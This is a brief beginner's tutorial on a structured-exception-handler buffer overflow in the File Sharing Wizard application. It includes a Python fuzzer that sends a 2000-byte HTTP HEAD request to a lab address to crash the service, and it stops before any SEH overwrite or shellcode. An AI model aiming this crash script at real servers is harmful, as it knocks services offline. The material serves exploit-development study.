SEH Based Buffer Overflow
This time I will tell you about buffer overflow that occurs in the File Sharing Wizard application, this firs time I learn about buffer overflow. we 'll get a buffer overflow when we send to that aplication 2000 bytes of data, this the sample fuzzer with python : import socket import sys ips = '192.168.56.101' port = 80 string = "A" * 2000 print "[!] Launching Remote BoF on", ips,",hang on tight!" s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) try: connect=s.connect((ips, port)) except: print "[-] Oops! Cannot establish connection..\r\n" sys.exit(1) print "[*] Sending evil payload..\r\n" print "[*] Done! Check your debugger.." payload = ( 'HEAD %s HTTP/1.0\r\n' '\r\n') % (string) s.send(payload) s.close() whit that fuzzer aplication will crash but EIP not overwrite bicause this aplication protected whit SEH, we can see that with SEH chain menu in debugger : A